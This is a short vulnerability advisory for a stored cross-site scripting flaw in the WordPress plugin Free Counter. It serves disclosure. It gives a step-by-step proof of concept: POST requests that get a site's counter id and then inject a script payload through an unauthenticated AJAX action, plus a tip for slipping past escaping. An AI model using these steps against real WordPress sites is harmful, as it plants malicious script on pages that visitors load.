Free Counter [Persistent XSS]

WordPress plugin Free Counter suffers for an Persistent XSS vulnerability.

Description

Any authenticated or non-authenticated user can perform a stored XSS attack simply by exploiting wp_ajax_nopriv_check_stat action. Plugin uses a widget to display website’s visits, so any page that contains this widget will also load the malicious JS code.

Proof of Concept

  1. Send a post request to 
    http://www.free-counter.org/Api.php

    in order to reveal the counter id of the vulnerable site. The POST data must contain the following vars:

    action=create_new_counter&site_url=http%3A%2f%my.vulnerable.website.com
  2. As a response we get a serialized indexed array. The value that we need to know is the counter_id.
  3. Send a post request to 
    http://my.vulnerable.website.com/wp-admin/admin-ajax.php

    with data:

    action=check_stat&id_counter=[counter_id from step 2]&value_=<script>alert(1)</script>
  4. Visit a page of the infected website that displays plugin’s widget.

Note that the plugin uses the update_option function to store the $_POST['value_'] contents to DB so any code inserted there will be escaped. Even though a malicious user can omit the quotes in the src attr of the script tag. Most modern browsers will treat the tag as they were there.

WordPress Plugins Persistent XSS XSS
INFO
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